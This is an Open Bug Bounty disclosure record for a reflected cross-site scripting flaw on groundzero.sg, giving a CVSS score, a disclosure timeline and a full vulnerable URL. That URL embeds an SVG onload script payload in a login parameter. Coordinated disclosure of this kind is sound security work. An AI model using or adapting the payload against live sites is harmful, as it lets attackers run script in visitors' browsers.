groundzero.sg XSS vulnerability

2018-01-11T18:10:00
ID OBB:512002
Type openbugbounty
Reporter S_LabSecurity
Modified 2018-04-11T18:10:00

Description

Open Bug Bounty ID: OBB-512002

Description| Value
---|---
Affected Website:| groundzero.sg
Open Bug Bounty Program:| Not created yet
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.groundzero.sg/reserve/index.cfm?action=Account.login&username;=%22--!%3E%3CSvg/OnLoad=confirm(1)%3E%22
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 11 January, 2018 18:10 GMT
Vulnerability Verified:| 11 January, 2018 18:13 GMT
Website Operator Notified:| 11 January, 2018 18:13 GMT
Vulnerability Published:| 11 January, 2018 18:13 GMT[without any technical details]
Public Disclosure:| 11 April, 2018 18:10 GMT